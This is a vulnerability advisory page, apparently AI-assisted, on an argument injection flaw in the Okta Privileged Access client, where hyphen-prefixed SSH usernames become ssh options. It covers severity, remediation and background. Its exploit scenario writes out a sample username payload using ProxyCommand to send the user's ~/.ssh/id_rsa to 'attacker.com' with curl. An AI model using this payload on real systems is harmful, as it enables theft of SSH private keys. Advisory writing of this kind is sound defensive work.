Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain OPA target configuration access
-
DeliveryCreate SSH target with hyphen-prefixed username
-
ExploitInduce user to initiate SSH session via OPA client
-
ExecutionClient passes unsanitized username to SSH subprocess
-
PersistSSH interprets value as CLI option
-
ImpactInjected option executes attacker-controlled behavior
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that an attacker be able to influence the SSH target username presented to the Okta Privileged Access client - the most direct path is having sufficient permissions within the Okta Privileged Access console to create or modify SSH target definitions (an application-level privilege, not a local OS privilege). A legitimate user must then actively initiate an SSH session to the crafted target (UI:R), meaning the attacker must also be able to direct or deceive a user into connecting to the malicious target. The high attack complexity (AC:H) reflects these compounding preconditions. Exploitation is limited to: environments where the Okta Privileged Access client is deployed and used for SSH session brokering; scenarios where the attacker can influence OPA target configuration; and scenarios where a user can be induced to connect to the attacker-controlled target. The local attack vector (AV:L) means remote unauthenticated exploitation against default configurations is not possible. |
| Impact | The vendor-assigned CVSS 3.1 score of 5.3 Medium reflects several mitigating factors that meaningfully suppress real-world exploitability despite the C:H impact rating. AV:L constrains the attack surface to local environments where the Okta Privileged Access client is installed and running. AC:H signals that specific preconditions must align - namely, that an attacker must be able to influence the SSH target username presented to the client, which in practice requires some level of access to Okta Privileged Access target configuration. UI:R further requires that a legitimate user actively initiates an SSH connection to the malicious target. The combination of AV:L, AC:H, and UI:R makes opportunistic mass exploitation unlikely. No EPSS score was provided in the input data, and the absence of KEV listing and public POC confirms this has not been observed as actively exploited. The C:H impact is realistic given that SSH option injection via ProxyCommand or IdentityFile flags could redirect connections or exfiltrate key material, but this impact is only realizable under the constrained conditions above. Overall, this is a genuine but targeted-risk vulnerability, not a broadly automatable threat. |
| Exploit ScenarioDerived | An attacker with sufficient Okta Privileged Access permissions creates or modifies an SSH target definition, setting the username field to a hyphen-prefixed value such as '-oProxyCommand=/bin/bash -c "curl attacker.com/$(cat ~/.ssh/id_rsa | base64)"'. When a legitimate user subsequently opens an SSH session to that target through the Okta Privileged Access client, the client passes the malformed username directly to the SSH subprocess, which interprets it as a ProxyCommand option and executes the injected command in the context of the user's local session. No public exploit code is known at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
Argument injection in the Okta Privileged Access client allows a crafted SSH target username beginning with a hyphen to be interpreted as a command-line option by the underlying SSH subprocess. Organizations using Okta Privileged Access for SSH session brokering are affected when a user initiates a connection to a target whose username has been set to a hyphen-prefixed value. If exploited, an attacker who can influence the target username definition could cause the SSH client to process injected options, achieving high confidentiality impact. No public exploit code is identified at time of analysis, and CISA KEV does not list this CVE.
RemediationAI
The primary remediation is to upgrade the Okta Privileged Access client to the version identified as fixed in the Okta PSIRT advisory at https://trust.okta.com/security-advisories/improper-validation-ssh-target-in-okta-privileged-access-client-cve-2026-77585 - the exact patched version number is not confirmed in the available input data and should be verified directly from the advisory before deployment. As a compensating control pending patching, Okta Privileged Access administrators should audit all configured SSH target definitions and enforce a naming policy that prohibits usernames beginning with a hyphen character; most PAM platforms support input validation rules at the target configuration layer. Additionally, restricting who can create or modify SSH target definitions to a minimal set of trusted administrators reduces the attacker's ability to introduce a malicious target. Note that this control does not eliminate the underlying vulnerability and patch deployment remains the definitive fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is an argument injection vulnerability, a subclass of CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The Okta Privileged Access client constructs SSH subprocess invocations using user-supplied target metadata, including the username portion of the SSH target. Because the client does not sanitize or reject usernames beginning with a hyphen ('-'), a value such as '-oProxyCommand=<cmd>' or '-v' is passed directly to the SSH process, which interprets it as a command-line switch rather than a positional username argument. This pattern is a well-documented class of injection affecting tools that pass user-supplied strings to shell utilities without '--' argument termination or leading-hyphen validation. No CPE strings were provided in the input data; the affected product is the Okta Privileged Access client (desktop/agent component) as documented in the Okta PSIRT advisory.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
AV:L for client-side application; PR:L because influencing OPA target definitions requires application-level access; UI:R and AC:H reflect user-initiated connection and multi-condition prerequisites.
Primary rating from Vendor (okta).
CVSS VectorVendor: okta
Lifecycle Timeline
1DescriptionCVE.org
The Okta Privileged Access client does not reject a leading hyphen in the username portion of an SSH target. As a result, the value may be interpreted as a command-line option by the underlying SSH process.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-65962
GHSA-vxp6-p2w9-m3hj
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB